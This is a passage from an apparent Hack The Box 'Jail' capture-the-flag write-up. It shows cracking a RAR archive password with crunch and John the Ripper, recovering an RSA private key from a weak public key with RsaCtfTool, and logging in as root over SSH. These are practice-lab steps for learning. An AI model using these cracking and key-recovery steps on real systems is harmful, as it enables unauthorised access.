UNRAR 6.21 beta 1 freeware      Copyright (c) 1993-2023 Alexander Roshal


Extracting from keys.rar

Enter password (will not be echoed) for rootauthorizedsshkey.pub:
```

The `note.txt` file says that some password is the last name of frank followed by four numbers and a special character.

> cat /var/adm/.keys/note.txt

{% code overflow="wrap" %}
```
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
```
{% endcode %}

The `.local` directory has another file inside called `.frank`.

> ls -la /var/adm/.keys/.local

```
total 4
drwxr-x---. 2 root adm  20 Jul  3  2017 .
drwxr-x---. 3 root adm  52 Jul  3  2017 ..
-rw-r-----. 1 root adm 113 Jul  3  2017 .frank
```

Which has the following content.

> cat /var/adm/.keys/.local/.frank

{% code overflow="wrap" %}
```
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
```
{% endcode %}

We can put this cipher text into the [dcode.fr cipher identifier](https://www.dcode.fr/cipher-identifier).

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F8QOPMUNPMLqjDuiZ9e96%2Fimage.png?alt=media&#x26;token=81e76f5e-fa0a-4b94-88f8-83d70b951322" alt=""><figcaption></figcaption></figure>

It detects that the message has been encrypted with _Atbash Cipher_. It is able to decipher the message.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FWKrid2ZHt50HsupWUdse%2Fimage.png?alt=media&#x26;token=246819c5-e60f-4f93-bd99-1cf572feb35e" alt=""><figcaption></figcaption></figure>

It says something about escaping Alcatraz. Some googling will show that there was a guy who escaped jail in Alcatraz called _Frank Morris_.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FLGRmSOyks8fy3Wol2XNT%2Fimage.png?alt=media&#x26;token=635224a6-f651-480f-9c44-0595289608c4" alt=""><figcaption></figcaption></figure>

Now we have the last name of Frank and a year with four digits, we need to know the special character. We can create a wordlist with crunch composed of the `Morris1962` and a special character.

> crunch 11 11 -t Morris1962^ > pwds

Now, get the hash of the `keys.rar` file.

> rar2john keys.rar > keys.rar.hash

And break the password with _john_ using the custom dictionary.

> john --wordlist=pwds keys.rar.hash

```
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 128/128 SSE2 4x AES])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962!      (keys.rar)     
1g 0:00:00:00 DONE (2023-03-12 23:07) 6.250g/s 206.2p/s 206.2c/s 206.2C/s Morris1962!..Morris1962 
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now, decompress the `keys.rar` file using the `Morris1962!` password.

> unrar x keys.rar

```
UNRAR 6.21 beta 1 freeware      Copyright (c) 1993-2023 Alexander Roshal


Extracting from keys.rar

Enter password (will not be echoed) for rootauthorizedsshkey.pub: 

Extracting  rootauthorizedsshkey.pub                                  OK 
All OK
```

The compressed file contained a public key called `rootauthorizedsshkey.pub`.

> cat rootauthorizedsshkey.pub

```
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072
YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//
DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd
D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w
Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx
I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug
a99GCw==
-----END PUBLIC KEY-----
```

But it seems like it is quite short. It might be a weak key that we can break. Let's use [RsaCtfTool](https://github.com/RsaCtfTool/RsaCtfTool) and try to break it.

> python RsaCtfTool.py --public /home/alfa8sa/HTB/machines/jail/rootauthorizedsshkey.pub --private

```
...
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//DmcIo1pJGKy8LDrwdpsSjVmvSgg3
9nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6PdD/qlaFM8B87MHZlW1fqe6QKBgQVY
7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/wWt2/7A1Xgi5ckTFMG5EXhfv67GfC
FE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAxI85LArqOGc6QoVPS7jx5h5bK/3Oq
m3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFuga99GCwIgCMdb8cTpq+uOUyIK2Jrg
PNxrCGF8HNhw8qT9jCez3aMCQQHBKGne1ibAwbqvPTd91cBUKfFYYIAY9a6/Iy56
XnGBS35kpKZB7j5dMZxxOwPDowgZr9aGNAzcFAeCaP5jj3DhAkEDb4p9D5gqgSOc
NXdU4KxzvZeBQn3IUyDbJ0J4pniHZzrYq9c6MiT1Z9KHfMkYGozyMd16Qyx4/Isf
bc51aYmHCQIgCMdb8cTpq+uOUyIK2JrgPNxrCGF8HNhw8qT9jCez3aMCIAjHW/HE
6avrjlMiCtia4DzcawhhfBzYcPKk/Ywns92jAkEBZ7eXqfWhxUbK7HsKf9IkmRRi
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----
```

It was able to break the public key and obtain the private key. Put it into the `id_rsa` file.

> nano id\_rsa; chmod 600 id\_rsa

```
-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
...
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----
```

If we try to log in as root, we'll get the following error.

> ssh -i id\_rsa root@10.10.10.34

```
sign_and_send_pubkey: no mutual signature supported
root@10.10.10.34's password:
```

As we can see [here](https://stackoverflow.com/questions/73795935/sign-and-send-pubkey-no-mutual-signature-supported), we need to add the following parameter. Then, we'll be able to log in as _root_, and all we have to do is reap the harvest and take the root flag.

> ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id\_rsa root@10.10.10.34

```
[root@localhost ~]# whoami
root
[root@localhost ~]# cat root.txt
7768ab68df728ad430bdd18e71a6c798
```
